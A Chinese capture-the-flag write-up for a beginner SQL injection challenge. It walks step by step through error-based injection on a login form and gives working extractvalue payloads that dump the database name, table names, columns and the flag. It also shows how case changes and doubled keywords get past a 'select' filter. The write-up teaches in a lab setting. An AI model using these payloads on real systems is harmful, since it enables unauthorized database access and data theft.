[第一章 web入门]SQL注入-2 题目分析与详解

简介: [第一章 web入门]SQL注入-2 题目分析与详解

一、题目简介

分析题目,拿到flag。


二、解题思路

1、我们首先按照题目要求,分别访问 /login.php 和 /user.php。

访问 /login.php,页面如图:

访问 user.php,页面如图:

user.php没有用处,我们对 login.php 进行分析。

2、我们查看页面源代码,看看是否能找到有用的信息。

页面源代码给出我们两处提示:

(1)在url的后面加入 ?tips=1来开启mysql的错误提示,错误提示=报错会进行回显,那么可以使用报错注入,提供了一种思路。

(2)利用Burpsuite进行发包,提示我们最好在Burpsuite中进行操作。

那么我们就通过页面源代码的提示进行解题。

3、我们首先利用 Burp suite 对其进行抓包,并在url后面加上 tips=1,并且发送至 repeater 模块,方便实时发包查看报错信息。

具体报错信息可以使用 unicode编码在线转化工具转换为中文。

4、首先判断注入类型:

(1)name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。
(2)name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。

经过和报错注入的联合判断,我们可以得出闭合方式为:单引号 ' 。

接下俩进行报错注入:

(1)注出数据库库名:

1' and extractvalue(1,concat(0x7e,database()))--+

(2)注出数据库中的表名:

admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

我们发现未能注出表明,可能是select关键字被过滤掉了,那么我们利用大小写绕过,将select写作Select。 双写绕过 selselectect也是OK的。

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

成功注出表明,发现一张名叫作 fl4g 的表,flag很有可能就在这张表里。

(3)注出表 fl4g 中的列:

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

发现字段 flag,flag就在字段flag中。

(4)注出flag的值:

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

 

成功拿到了flag。

 

 

相关文章
|
6天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
36 0
|
3天前
|
开发框架 中间件 数据库
Django 框架入门全攻略:轻松构建 Web 应用
【5月更文挑战第18天】本文是 Django 入门教程,介绍了如何使用 Django 构建 Web 应用。内容包括安装、项目与应用创建、模型定义、数据库迁移、视图编写、路由配置、模板系统、表单处理和中间件的使用。通过实例展示了 Django 基本流程,帮助初学者快速上手。Django 提供高效工具,便于开发者聚焦业务逻辑,轻松构建功能丰富的 Web 应用。
22 5
|
3天前
|
数据库连接 Python
Flask 框架入门与实践:构建你的第一个 Web 应用
【5月更文挑战第18天】本文介绍了使用 Flask 框架构建第一个 Web 应用的步骤。首先通过 `pip install Flask` 安装框架,然后编写基本的 Python 代码创建应用,包括定义路由和响应。示例展示如何显示 "Hello, World!",并扩展到显示用户信息的功能。利用模板(如 `index.html`)可使页面更丰富。随着学习深入,可以利用 Flask 的更多特性,如表单处理和数据库连接,来构建更复杂的 Web 应用。本文旨在激发读者对 Flask 和 Web 开发的兴趣,鼓励不断探索和实践。
25 7
|
4天前
|
存储 缓存 JavaScript
web前端常见的面试题汇总(一),web前端面试题目
web前端常见的面试题汇总(一),web前端面试题目
|
4天前
|
JSON JavaScript 前端开发
web前端入门到实战:32道常见的js面试题,2024年最新秋招是直接面试吗
web前端入门到实战:32道常见的js面试题,2024年最新秋招是直接面试吗
|
4天前
|
JavaScript 前端开发 程序员
web前端入门到实战:32道常见的js面试题(1),面试哪些
web前端入门到实战:32道常见的js面试题(1),面试哪些
|
6天前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
6天前
|
SQL NoSQL 关系型数据库
一个基于 BigQuery 的 SQL 注入挖掘案例
一个基于 BigQuery 的 SQL 注入挖掘案例
8 0
|
6天前
|
SQL 关系型数据库 数据库
SQL Server语法基础:入门到精通
SQL Server语法基础:入门到精通
SQL Server语法基础:入门到精通
|
6天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
29 0